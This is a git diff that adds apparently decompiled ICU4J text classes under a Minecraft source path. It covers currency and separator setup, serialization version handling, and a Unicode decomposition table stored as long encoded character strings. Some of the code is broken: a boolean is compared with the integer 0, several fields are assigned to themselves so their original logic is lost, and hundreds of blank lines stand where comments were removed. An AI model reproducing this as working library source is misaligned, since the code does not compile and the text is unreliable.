+    minusSign = numberElements[4].charAt(0);
+    plusSign = numberElements[5].charAt(0);
+    exponentSeparator = numberElements[6];
+    perMill = numberElements[7].charAt(0);
+    infinity = numberElements[8];
+    NaN = numberElements[9];
+    
+    if (numberElements[10] != null) {
+      monetarySeparator = numberElements[10].charAt(0);
+    } else {
+      monetarySeparator = decimalSeparator;
+    }
+    
+    if (numberElements[11] != null) {
+      monetaryGroupingSeparator = numberElements[11].charAt(0);
+    } else {
+      monetaryGroupingSeparator = groupingSeparator;
+    }
+    
+    digit = '#';
+    padEscape = '*';
+    sigDigit = '@';
+    
+
+    CurrencyData.CurrencyDisplayInfo info = com.ibm.icu.impl.CurrencyData.provider.getInstance(locale, true);
+    
+
+
+
+    String currname = null;
+    currency = Currency.getInstance(locale);
+    if (currency != null) {
+      intlCurrencySymbol = currency.getCurrencyCode();
+      boolean[] isChoiceFormat = new boolean[1];
+      currname = currency.getName(locale, 0, isChoiceFormat);
+      
+
+      currencySymbol = (isChoiceFormat[0] != 0 ? new ChoiceFormat(currname).format(2.0D) : currname);
+      
+
+      CurrencyData.CurrencyFormatInfo fmtInfo = info.getFormatInfo(intlCurrencySymbol);
+      if (fmtInfo != null) {
+        currencyPattern = currencyPattern;
+        monetarySeparator = monetarySeparator;
+        monetaryGroupingSeparator = monetaryGroupingSeparator;
+      }
+    } else {
+      intlCurrencySymbol = "XXX";
+      currencySymbol = "¤";
+    }
+    
+
+
+    currencySpcBeforeSym = new String[3];
+    currencySpcAfterSym = new String[3];
+    initSpacingInfo(info.getSpacingInfo());
+  }
+  
+  private void initSpacingInfo(CurrencyData.CurrencySpacingInfo spcInfo) {
+    currencySpcBeforeSym[0] = beforeCurrencyMatch;
+    currencySpcBeforeSym[1] = beforeContextMatch;
+    currencySpcBeforeSym[2] = beforeInsert;
+    currencySpcAfterSym[0] = afterCurrencyMatch;
+    currencySpcAfterSym[1] = afterContextMatch;
+    currencySpcAfterSym[2] = afterInsert;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws java.io.IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    
+
+    if (serialVersionOnStream < 1)
+    {
+
+      monetarySeparator = decimalSeparator;
+      exponential = 'E';
+    }
+    if (serialVersionOnStream < 2) {
+      padEscape = '*';
+      plusSign = '+';
+      exponentSeparator = String.valueOf(exponential);
+    }
+    
+
+
+
+
+    if (serialVersionOnStream < 3)
+    {
+
+
+
+
+      requestedLocale = Locale.getDefault();
+    }
+    if (serialVersionOnStream < 4)
+    {
+      ulocale = ULocale.forLocale(requestedLocale);
+    }
+    if (serialVersionOnStream < 5)
+    {
+      monetaryGroupingSeparator = groupingSeparator;
+    }
+    if (serialVersionOnStream < 6)
+    {
+      if (currencySpcBeforeSym == null) {
+        currencySpcBeforeSym = new String[3];
+      }
+      if (currencySpcAfterSym == null) {
+        currencySpcAfterSym = new String[3];
+      }
+      initSpacingInfo(CurrencyData.CurrencySpacingInfo.DEFAULT);
+    }
+    serialVersionOnStream = 6;
+    
+
+    currency = Currency.getInstance(intlCurrencySymbol);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int serialVersionOnStream = 6;
+  
+
+
+
+  private static final ICUCache<ULocale, String[][]> cachedLocaleData = new SimpleCache();
+  
+
+
+
+
+  private String currencyPattern = null;
+  
+
+
+
+
+  private ULocale validLocale;
+  
+
+
+
+
+  private ULocale actualLocale;
+  
+
+
+
+
+  private transient Currency currency;
+  
+
+
+
+
+
+  public final ULocale getLocale(ULocale.Type type)
+  {
+    return type == ULocale.ACTUAL_LOCALE ? actualLocale : validLocale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void setLocale(ULocale valid, ULocale actual)
+  {
+    if ((valid == null ? 1 : 0) != (actual == null ? 1 : 0))
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+    validLocale = valid;
+    actualLocale = actual;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DecompData.java b/src/minecraft/com/ibm/icu/text/DecompData.java
new file mode 100644
index 0000000..c68061a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DecompData.java
@@ -0,0 +1,726 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.CompactByteArray;
+import com.ibm.icu.util.CompactCharArray;
+
+
+
+
+
+
+
+
+
+
+
+
+class DecompData
+{
+  static final int MAX_CANONICAL = 21754;
+  static final int MAX_COMPAT = 11177;
+  static final int DECOMP_MASK = 32767;
+  static final int DECOMP_RECURSE = 32768;
+  static final short BASE = 0;
+  static final CompactCharArray offsets = new CompactCharArray("\000ࠀꖥ\005\000 @`€ Àà\000ĀĠŀŠƀ\000\000\000ƠǀǠ\000\000ȀȠɀɠʀʠˀˠ̠̀\000\000̀͠ꖥ\004\000΀ꖥ\004\000Π\000π\000\000Ϡꖥ\022\000ЀР\000\000\000р\000\000ѠҀꖥ\007\000Ҡ\000Ӏ\000Ӡ\000\000\000Ԁ\000\000\000Ԡ\000\000\000Հ\000\000\000ՠ\000\000ր\000\000\000֠׀\000נ\000؀ؠـ٠\000\000\000ڀꖥn\000ڠۀ۠܀ܠ݀ݠހޠ߀ߠࠀࠠࡀࡠࢀࢠࣀ࣠ऀठी\000\000ॠঀঠীৠ਀ਠ\000ੀ੠઀ઠીૠ\000଀\000ଠꖥ\t\000ୀୠ஀஠ீꖥL\000௠\000\000ఀఠీౠಀಠೀೠ\000ഀഠീൠ඀චව෠\000฀ภเ๠\000\000\000຀ຠເ໠ༀ༠ཀའྀྠ࿀࿠ကဠ၀ၠꖥب\000ႀႠჀრᄀᄠᅀᅠᆀᆠꖥ\006\000ᇀᇠሀሠቀበኀአዀዠጀጠፀ፠ᎀᎠᏀᏠ᐀ᐠᑀᑠᒀᒠ\000ᓀᓠᔀᔠᕀᕠᖀᖠᗀᗠᘀᘠᙀᙠ ", "\000ᚠꖥ \000\005ꖥ\007\000\n\000\021ꖥ\004\000\026\000\000\035!&-\000\00029=\000CO[\000⮮⮶⮾⯆⯎⯖\000⯞⯦⯮⯶⯾ⰆⰎⰖⰞ\000ⰦⰮⰶⰾⱆⱎ\000\000ⱖⱞⱦⱮⱶ\000\000ⱾⲆⲎⲖⲞⲦ\000ⲮⲶⲾⳆⳎⳖⳞ⳦ⳮ\000⳶⳾ⴆⴎⴖⴞ\000\000⴦⴮ⴶⴾⵆ\000ⵎⵖⵞⵦ⵮⵶⵾ⶆⶎⶖ⶞ⶦⶮⶶⶾⷆⷎ\000\000ⷖⷞⷦⷮⷶⷾ⸆⸎⸖⸞⸦⸮⸶⸾⹆⹎⹖⹞⹦⹮\000\000⹶⹾⺆⺎⺖⺞⺦⺮⺶\000fn⺾⻆⻎⻖\000⻞⻦⻮⻶⻾⼆v~\000\000⼎⼖⼞⼦⼮⼶†\000\000⼾⽆⽎⽖⽞⽦\000\000⽮⽶⽾⾆⾎⾖⾞⾦⾮⾶⾾⿆⿎⿖⿞⿦⿮⿶\000\000⿾〆『〖〞〦〮〶〾うぎざぞてのぶまゆゎゖゞウギザゾꖥ\r\000テノꖥ\023\000“Ÿ«¶¾ÆÎÖÞブマユヮヶヾㄆㄎㄗㄣㄯㄻㅇㅓㅟㅫ\000ㅷㆃ㆏㆛ㆦㆮ\000\000ㆶㆾ㇆㇎㇖㇞㇧ㇳㇾ㈆㈎’žª㈖㈞\000\000㈦㈮㈷㉃㉎㉖㉞㉦㉮㉶㉾㊆㊎㊖㊞㊦㊮㊶㊾㋆㋎㋖㋞㋦㋮㋶㋾㌆㌎㌖㌞㌦㌮㌶㌾㍆\000\000㍎㍖ꖥ\006\000㍞㍦㍮㍶㍿㎋㎗㎣㎮㎶㎿㏋㏖㏞ꖥ\034\000åéqíñõùýāꖥ\037\000ĆĎĖĞĦĮ\000\000ĵ}ĹĽꖥ\033\000㏥㏩\000㏭㏲ꖥ/\000㏹ꖥ\005\000ł\000\000\000㏽ꖥ\005\000&됂㐊㐑㐖㐞㐦\000㐮\000㐶㐾㑇ꖥ\031\000㑒㑚㑢㑪㑲㑺㒃ꖥ\031\000㒎㒖㒞㒦㒮\000ʼnōő뒶뒾ŕřꖥ\031\000ŝšťꖥ\r\000㓆㓎\000㓖\000\000\000㓞ꖥ\004\000㓦㓮㓶ꖥ\n\000㓾ꖥ\037\000㔆ꖥ\026\000㔎㔖\000㔞\000\000\000㔦ꖥ\004\000㔮㔶㔾ꖥ\027\000㕆㕎ꖥ\t\000㕖㕞ꖥ\r\000㕦㕮㕶㕾\000\000㖆㖎\000\000㖖㖞㖦㖮㖶㖾\000\000㗆㗎㗖㗞㗦㗮\000\000㗶㗾㘆㘎㘖㘞㘦㘮㘶㘾㙆㙎\000\000㙖㙞ꖥ\r\000Ūꖥ\032\000㙦㙮㙶㙾㚆ꖥ.\000ŲźƂƊꖥ\007\000㚎\000㚖ꖥ\020\000㚞ꖥ\025\000㚦ꖥ\007\000㚮\000\000㚶ꖥ#\000㚾㛆㛎㛖㛞㛦㛮㛶ꖥ\013\000㛾㜆ꖥ\017\000㜎㜖\000㜞ꖥ\023\000㜦\000\000㜮ꖥ\"\000㜶㜾㝆\000\000㝎ꖥ\t\000㝖\000\000㝞㝦ꖥ\017\000㝮㝶ꖥ\026\000㝾ꖥ\025\000㞆㞎㞖ꖥ\033\000㞞ꖥ\027\000㞦ꖥ\006\000㞮㞶\000㞾㟇ꖥ\036\000㟒㟚㟢ꖥ-\000㟪\000㟲㟻㠆ꖥ\024\000ƒꖥ\037\000ƚꖥ(\000Ƣƪꖥ\016\000Ʊꖥ\026\000㠎ꖥ\t\000㠖ꖥ\004\000㠞ꖥ\004\000㠦ꖥ\004\000㠮ꖥ\f\000㠶ꖥ\t\000㠾\000㡆㡎Ʒ㡖ǃꖥ\007\000㡞ꖥ\021\000㡦ꖥ\t\000㡮ꖥ\004\000㡶ꖥ\004\000㡾ꖥ\004\000㢆ꖥ\f\000㢎ꖥ\f\000㢖ꖥ\031\000㢞㢦㢮㢶㢾㣆㣎㣖㣟㣫㣶㣾㤆㤎㤖㤞㤦㤮㤶㤾㥇㥓㥟㥫㥶㥾㦆㦎㦗㦣㦮㦶㦾㧆㧎㧖㧞㧦㧮㧶㧾㨆㨎㨖㨞㨦㨯㨻㩆㩎㩖㩞㩦㩮㩶㩾㪇㪓㪞㪦㪮㪶㪾㫆㫎㫖㫞㫦㫮㫶㫾㬆㬎㬖㬞㬦㬯㬻㭇㭓㭟㭫㭷㮃㮎㮖㮞㮦㮮㮶㮾㯆㯏㯛㯦㯮㯶㯾㰆㰎㰗㰣㰯㰻㱇㱓㱞㱦㱮㱶㱾㲆㲎㲖㲞㲦㲮㲶㲾㳆㳏㳛㳧㳳㳾㴆㴎㴖㴞㴦㴮㴶㴾㵆㵎㵖㵞㵦㵮㵶㵾㶆㶎㶖㶞㶦㶮㶶㶾㷆㷎㷖㷞㷦ǎ뷮ꖥ\004\000㷶㷾㸆㸎㸗㸣㸯㸻㹇㹓㹟㹫㹷㺃㺏㺛㺧㺳㺿㻋㻗㻣㻯㻻㼆㼎㼖㼞㼦㼮㼷㽃㽏㽛㽧㽳㽿㾋㾗㾣㾮㾶㾾㿆㿎㿖㿞㿦㿯㿻䀇䀓䀟䀫䀷䁃䁏䁛䁧䁳䁿䂋䂗䂣䂯䂻䃇䃓䃞䃦䃮䃶䃿䄋䄗䄣䄯䄻䅇䅓䅟䅫䅶䅾䆆䆎䆖䆞䆦䆮ꖥ\006\000䆶䆾䇇䇓䇟䇫䇷䈃䈎䈖䈟䈫䈷䉃䉏䉛䉦䉮䉷䊃䊏䊛\000\000䊦䊮䊷䋃䋏䋛\000\000䋦䋮䋷䌃䌏䌛䌧䌳䌾䍆䍏䍛䍧䍳䍿䎋䎖䎞䎧䎳䎿䏋䏗䏣䏮䏶䏿䐋䐗䐣䐯䐻䑆䑎䑗䑣䑯䑻\000\000䒆䒎䒗䒣䒯䒻\000\000䓆䓎䓗䓣䓯䓻䔇䔓\000䔞\000䔧\000䔳\000䔿䕊䕒䕛䕧䕳䕿䖋䖗䖢䖪䖳䖿䗋䗗䗣䗯䗺䘂䘊䘒䘚䘢䘪䘲䘺䙂䙊䙒䙚䙢\000\000䙫䙷䚀䚔䚨䚼䛐䛤䛻䜇䜐䜤䜸䝌䝠䝴䞋䞗䞠䞴䟈䟜䟰䠄䠛䠧䠰䡄䡘䡬䢀䢔䢫䢷䣀䣔䣨䣼䤐䤤䤻䥇䥐䥤䥸䦌䦠䦴䧊䧒䧛䧦䧯\000䧺䨃䨎䨖䨞䨦䨮ǖ䨵ǖǞ쨺䩃䩎䩗\000䩢䩫䩶䩾䪆䪎䪖쪞쪦쪮䪶䪾䫇䫓\000\000䫞䫧䫲䫺䬂䬊\000쬒쬚쬢䬪䬲䬻䭇䭒䭚䭢䭫䭶䭾䮆䮎䮖쮞쮦䮭\000\000䮳䮾䯇\000䯒䯛䯦䯮䯶䯾䰆찍Ǧ\000찑찕ꖥ\t\005ꖥ\006\000ǭꖥ\005\000Dzꖥ\f\000ǹǾǻꖥ\b\000\005\000\000\000Ȇȏ\000Țȣꖥ\004\000Ȯ\000ȶꖥ\t\000ȾɆꖥ&\000ɍ\000\000\000Iɑɕəɝɡɥɩɭɱɵ‰ɍ9\035!Iɑɕəɝɡɥɩɭɱɵꖥ\031\000ɺꖥ\027\000ʃʏʙʞ\000ʧʳʽ\000˂ˉˍˍˍåˑeeu}\000Í˖\000\000˝ˡɹɹɹ\000\000˦˯˺\000•\000䰙\000•\000䰝䰢́ʙ\000̅˱˅\000˩=̉̍̑̕mꖥ\031\000̧̛̳̿͋͗ͣͯͻ·ΓΟBeΪγξρφϏϘϮϱ϶Ͽuʙ‘˩mЊГОСЦЯиюĹіџ}ʉ©ѩꖥ\032\000䰪䰲ꖥ\022\000䰺ꖥ\036\000䱂䱊䱒ꖥ\024\000䱚ꖥ\004\000䱢\000\000䱪ꖥ\027\000䱲\000䱺ꖥ\005\000Ѯѷ\000҂ҋꖥ\020\000䲂\000\000䲊\000\000䲒\000䲚ꖥ\026\000䲢\000䲪ꖥ\n\000䲲䲺䳂䳊䳒\000\000䳚䳢\000\000䳪䳲ꖥ\006\000䳺䴂\000\000䴊䴒\000\000䴚䴢ꖥ\"\000䴪䴲䴺䵂ꖥ\020\000䵊䵒䵚䵢ꖥ\006\000䵪䵲䵺䶂ꖥ\033\000䶉䶍ꖥ\025\0009\035!IɑɕəɝɡҖҞҦҮҶҾӆӎӖӞӦӯӻԇԓԟԫԷՃՏ՘լրּ֔֨אפ׸،ؠضؾنَٖٞ٦ٮٶٿڋڗڣگڻۇۓ۟۫۷܃܏ܛܧܳܿ݋ݗݣݯݻއޓޟޫ޷߃ߏߛߧ߳߿ࠋࠗࠣ࠯࠹́ʙ‘˱˅࠽ˍeiࡁu˩Íࡅ˝ˡɹ˥˭ࡉρࡍϱࡑ•\021ܑʉ©̅݁ˉåmqݽ}ѩ‰=޹߅íߩʹСýĹā¡ɍꖥ4\000ࡕꖥ\023\000࡙ꖥ\f\000࡝ࡡࡥࡩ࡭ࡱࡵࡹࡽࢁࢅࢉࢍ࢑࢕࢙࢝ࢡࢥࢩࢭࢱࢵࢹࢽࣁࣅࣉࣱ࣑ࣩ࣭ࣹ࣍ࣕࣙࣝ࣡ࣥࣵࣽँअउऍऑकङझडथऩभऱवहऽुॅॉ्॑ॕख़ढ़ॡ॥३७ॱॵॹॽঁঅউ঍঑কঙঝডথ঩ভ঱঵হঽু৅৉্৑৕৙ঢ়ৡ৥৩৭ৱ৵৹৽ਁਅਉ਍਑ਕਙਝਡਥ਩ਭ਱ਵਹ਽ੁ੅੉੍ੑ੕ਖ਼੝੡੥੩੭ੱੵ੹੽ઁઅઉઍઑકઙઝડથ઩ભ઱વહઽુૅૉ્૑૕૙૝ૡ૥૩૭૱૵ૹ૽ଁଅଉ଍଑କଙଝଡଥ଩ଭ଱ଵହଽୁ୅୉୍୑୕୙ଢ଼ୡ୥୩୭ୱ୵୹୽஁அஉ஍஑கங஝஡஥ன஭றꖥ\n\000\005ꖥ5\000வ\000ࢹஹ஽ꖥ\021\000䶒\000䶚\000䶢\000䶪\000䶲\000䶺\000䷂\000䷊\000䷒\000䷚\000䷢\000䷪\000\000䷲\000䷺\000丂ꖥ\006\000上丒\000业丢\000个串\000为乂\000乊乒ꖥ\026\000乚ꖥ\006\000ூொ\000乢ꖥ\r\000乪\000乲\000乺\000亂\000亊\000互\000亚\000亢\000亪\000亲\000人\000仂\000\000今\000仒\000仚ꖥ\006\000仢仪\000仲仺\000伂伊\000伒会\000伢伪ꖥ\026\000伲\000\000伺佂佊佒\000\000\000佚ꖥ\022\000௑௕௙௝௡௥௩௭௱௵௹௽ఁఅఉ఍఑కఙఝడథ఩భఱవహఽు౅౉్౑ౕౙౝౡ౥౩౭౱౵౹౽ಁಅಉ಍಑ಕಙಝಡಥ಩ಭಱವಹಽು೅೉್೑ೕ೙ೝೡ೥೩೭ೱ೵೹೽ഁഅഉ഍഑കങഝഡഥഩഭറവഹഽു൅\000\000\000࡝ࡵ൉്൑ൕ൙൝࡭ൡ൥൩൭ࡽ൳ൿඋ඗ඣදර෇ීෟ෫෷ฃฏธฬเ๔๨๼ຐ຤ຸ໌໠໴༈༜༰\000\000\000ཇནཟཫཷྃྏྛྦྷླ྿࿋࿗࿣࿯࿻ဇဓဟါ့၃၏ၛၧၳၿႋ႗ႣႯႻჇდჟძꖥ\034\000௑௝௩௱఑కడ఩భవహఽు౅พาๆ๚๮ຂຖສ຾໒໦໺༎ెꖥ\004\000࡝ࡵ൉്ཹ྅ྑࢉྩࢹঁ঱ভঅ૵ࣙॹပအိ္၅ၑၝၩჵჹࣱჽᄁᄅᄉᄍვᄑᄕ൑ൕ൙ᄙᄝᄡᄥႍ႙ႥႱႽᄩꖥ\017\000ᄮᄶᄾᅆᅎᅖᅞᅦᅮᅷᆃᆏꖥ\004\000ᆙᆝᆡᆥᆩᆭᆱᆵᆹᆽᇁᇅᇉᇍᇑᇕᇙᇝᇡᇥᇩᇭᇱᇵᇹᇽሁህሉልሑሕሙምሡሥሩርሱስሹሽቁቅ቉ቍቑ\000ቔቬኀኛኤ኿ዋዔደጇጓጟጨጼፐ፤፸ᎌᎠᎴᏒᏘᏴᐐᏠᐨᑄᑠᑷᒃᒌᒠᒴᓌᓧᓳᓼᔓᔟᐺᔪᔳᔿᕈᕤᕸᖐᖬᗃᗏᗘᗴᘈᘧᘰᙋᙔᙫᙴᚈᚠᚴᛌᛢᛨᜃᜏ᜘ᜯ᜻ᝇᝐᝨ᝾ងឣឬᏼោ៛៧៰᠆᠌ᠠᠺᡀᐛᡞᡦᡮᡶ᡾ᢆᢎᢖᢞᢦ᢯ᢻᣇᣓᣟᣫ᣷ᤃᤏᤛᤧᤳ᤿᥋ᥗᥣ᥮᥶᥿ᦊᦒꖥ\004\000ᦚᦢᦪᦲᦸ᧎᧖᧞᧦᧮᧶˾᧾ᨇᨐᨦᨮᨶᨾᩆᩎᩖ᩟ᩫ᩷᪃᪎᪖᪞᪦᪮᪶᪾᫆ᫎ᫖᫟᫫᫢᫷ᬃᬏᬆᬛᬧᬰᥦᭇ᭓᭟᭫᭴ᮌ᮪Š᮲ᮺᯂᯊᯒᯚᯢᯪ᯲᯺ᰂᰊᰒᰚᰢᰪᰰ᱆ᱎ᱖ᱜᱳ᱾ᲆ᲎ᲖᲞᲦᲮᲶ᪒Ჾ᳇᳣᳒᳚ᳯᳺᴀᴗᴢᴪᴲᴺ\000\000ᵂᵊᵒᵚᵢᵪᵲᵺᶂᶋᶗᶣᶯᶻ᷷᷇ᷓᷟᷫḃḏḛḧḳḿṋṗṣṯṻẇ\000佡佥佩佭佱併佹佽侁侅侉侍侑侕侙依価侥侩侭侱侵侹侽俁俅俉俍俑俕俙保信俥俩俭俱俵俹俽倁倅倉倍們倕候倝倡倥倩倭倱倵倹倽偁偅偉偍偑偕偙偝偡健偩偭偱偵偹偽傁傅傉傍傑傕備傝傡傥傩傭傱債傹傽僁僅僉働僑僕僙僝僡僥僩僭僱僵價僽儁儅儉儍儑儕儙儝儡儥儩儭儱儵儹儽允充光免兑兕兙兝兡入兩六共兵兹兽冁内冉再冑冕写冝冡冥冩冭冱况冹冽凁凅凉凍凑凕凙凝凡凥凩凭凱凵凹函刁刅刉刍刑刕则初刡別利刭刱刵刹刽剁剅剉前剑剕剙剝剡剥剩剭剱創剹剽劁劅劉劍劑劕劙劝务劥助劭励劵効劽勁勅勉勍勑動務勝勡勥勩勭勱勵勹勽匁包匉匍匑匕匙匝匡匥匩匭匱匵匹匽十卅卉卍卑单卙卝卡卥卩卭危卵卹卽厁厅厉厍厑厕\000\000厙\000厝\000\000厡厥厩厭厱厵厹厽叁叅\000叉\000反\000\000发叕\000\000\000叙叝叡句ꖥ\022\000ẒẚẢẗẫẶẶꖥ\f\000ẾỆỎỖỞꖥ\005\000只\000史ụ̉̕ứửựỵỹỽɥ叺吂吋吗吢吪吲吺呂告呒呚呢\000呪呲呺咂咊\000咒\000咚咢\000咪咲\000咺哂哊哒哚哢哪哲哺ἂἉἉꖥ\004Ἅꖥ\004ἑꖥ\004ἕꖥ\004Ἑꖥ\004Ἕꖥ\004ἡꖥ\004ἥꖥ\004Ἡꖥ\004Ἥꖥ\004ἱꖥ\004ἵꖥ\004ἹἽἽὁὁὅὅὉὉὍὍὑὑꖥ\004ὕꖥ\004Ὑꖥ\004Ὕꖥ\004ὡὥὥꖥ\004ὩὮὮꖥ\004ήꖥ\004όώώᾂᾂꖥ!\000ꖥ\004ᾉƁƁᾍᾍᾑᾑƂᾕᾕᾙᾙᾝᾝꖥ\004ᾡᾥᾥᾫᾫᾷᾷῃῃ῏῏ΊΊῧῧῳῳῳ῿῿῿ꖥ\004 ‏‛‧῿″‾⁆⁎⁖⁞⁦⁶⁾₆₎ₖ₞₦₮₶₾⃆⃂⃎⃖⃞⃦⃮⃶⃾℆ℎ№℞Ω℮ℶℾⅆⅎ⅖⅞ⅦⅮⅶⅾↆ↎↖↞↦↮↶↾⇆⇎⇖⇞⇦⇮⇶⇾∆∎∖∞∦∮∶⃊⃒∾≆‮≎≖≞≦≮≶≾⊆⊎⊖₺⊞⊦∲⊮⊚⊶⊾⋆⋏⋛⋧⋳⋿⌋⌗⌣‧⌯῿″⌺⍂⁖⍊⁞⁦⍒⍚₆⍢₎ₖ⍪⍲₦⍺₮₶↖↞↶↾⇆⇦⇮⇶⇾∞∦∮⎂∾⎊⎒≦⎚≮≶⋆⎢⎪∲⎲⊮⊚‏‛⎻‧⏇‾⁆⁎⁖⏒⁶⁾₆⏚₦₾⃆⃂⃎⃦⃮⃖⃶⃾℆ℎ⏢№℞Ω℮ℶℾⅎ⅖⅞ⅦⅮⅶⅾↆ↎↦↮⇎⇖⇞⇦⇮∆∎∖∞⏪∶⃊⃒∾≎≖≞≦⏲≾⊆⏺₺⊞⊦∲≺‧⏇⁖⏒₆⏚₦␂℆␊␒␚⇦⇮∞≦⏲∲≺␣␯␻⑆⑎⑖⑞⑦⑮⑶⑾⒆⒎⒖•⒞‖⒦⊪⒮ⒶⒾⓆⓎⓖⓞ␒ⓦ⓮⓶⓾⑆⑎⑖⑞⑦⑮⑶⑾⒆⒎⒖•⒞‖⒦⊪⒮ⒶⒾⓆⓎⓖⓞ␒ⓦ⓮⓶⓾Ⓨⓖⓞ␒␊␚ⅆ⃮⃶⃾Ⓨⓖⓞⅆⅎ┆┆ꖥ\022\000┏┛┛┧┳┿╋╗⃇⃇╣╯╻▇▓▟▟▫▷▷◃◃●◛◛◧◳◳◿◿☋☗☗☣☣☯☻♇♓♓♟♫♷⚃⚏⚏⚛⚧⚳⚿⛋⛗⛗⛣⛣⛯⛯⛻⃋✇✓∷⃓✟\000\000✫✷❃❏❛❧❧❳❿➋➗➗➣➯➻⟇⟓⟟⟫⟷⠃⠏⠛⠧⠳⠿⡋⡗⊟⡣⡯⡻⢇⢓⚛⚳⢟⢫⢷⣃⣏⣛⣏⢷⣧⣳⣿⤋⤗⣛♇●⤣⤯ꖥ(\000⤻⥇⥐⥤⥸⦌⦠⦴⧈⧟⧨⨴ꖥ\024\000Ǻ⩙⩝⩡⩡ɱɵ⩥⩩⩭⩱⩵⩹⩽⪁⪅⪉⪍⪑⪕⪙ꖥ\004\000ꖥ\004ȶ⩡⩡⩡⪝⪡ǹ\000⪥⪩Ƚȭ⩙ɱɵ⩥⩩⩭⩱⪭⪱⪵ɥ⪹⪽⫁ɭ\000⫅⫉⫍⫑ꖥ\004\000⫖⫞⋎\000⋚\000⋦␢⋲␮⋾␺⌊⫦⫮⫶⫽⬂⬂⬊⬊⬒⬒⬚⬚ꖥ\004ᾪűűꖥ\004‽⬡⬡ꖥ\004ꖥ\004₝ꖥ\004―ꖥ\004‡ꖥ\004⁑⦅⦅⊵⊵⊽⊽〈〈ꖥ\004⃭ꖥ\004␑ꖥ\004ℍꖥ\004ℝꖥ\004ℽꖥ\004⅍ꖥ\004⅕ꖥ\004Ⅵꖥ\004ⅵꖥ\004↥ꖥ\004⇅ꖥ\004⇩ꖥ\004‭ꖥ\004≍ꖥ\004≽ŹŹᾥᾥꖥ\004Ɖ⬧⬧⬳⬳⬿⬿⩆⩆ꖥ\004\000ȭ⭉⪭⫉⫍⪱⭍ɱɵ⪵ɥ⪝⪹ǹʅɍ9\035!Iɑɕəɝɡ⪩⪥⪽ɭ⫁Ƚ⫑࠹́ʙ‘˱˅࠽ˍeiࡁu˩Íࡅ˝ˡɹ˥˭ࡉρࡍϱࡑ•⭑⫅⭕⭙⩡⭝\021ܑʉ©̅݁ˉåmqݽ}ѩ‰=޹߅íߩʹСýĹā¡⩥⭡⩩⭥\000\000⭩⪍⪑⪡⭭ቑቹᗹ⭱ᘙው⭵Ꭵ᝝ጱቡᆙᆝᆡᆥᆩᆭᆱᆵᆹᆽᇁᇅᇉᇍᇑᇕᇙᇝᇡᇥᇩᇭᇱᇵᇹᇽሁህሉልሑሕሙምሡሥሩርሱስሹሽቁቅኅ௅்ಝ௑௕௙௝௡௥௩௭௱௵௹௽ఁఅఉ఍఑కఙఝడథ఩భఱవహఽు౅\000\000\000౉్౑ౕౙౝ\000\000ౡ౥౩౭౱౵\000\000౹౽ಁಅಉ಍\000\000಑ಕಙ\000\000\000⭹⭽⮁\026⮅⮉⮍\000⮑⮕⮙⮝⮡⮥⮩ꖥ\021\000");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final String contents = "￿  ̈a ̄23 ́μ ̧1o1⁄41⁄23⁄4IJijL·l·ʼnsDŽDždžLJLjljNJNjnjhɦrɹɻʁwy ̆ ̇ ̊ ̨ ̃ ̋ɣxʕ ͅβθΥφπκρςեւاٴوٴۇٴيٴําໍາຫນຫມ་ྲཱྀླཱྀaʾ ̓ ͂ ̔‐ ̳...′′′′′‵‵‵‵‵!! ̅?!!?056789+−=()Rsa/ca/sC°Cc/oc/uƐ°FgHħNoPQSMTELTMBeאבגד1⁄32⁄31⁄52⁄53⁄54⁄51⁄65⁄61⁄83⁄85⁄87⁄8IIIIIIVVIVIIVIII\000IXXIXIIiiiiiivviviiviii\000ixxixiim∫∫∫∫∫∮∮∮∮∮1011121314151617181920(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)\000(11)\000(12)\000(13)\000(14)\000(15)\000(16)\000(17)\000(18)\000(19)\000(20)\0001.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w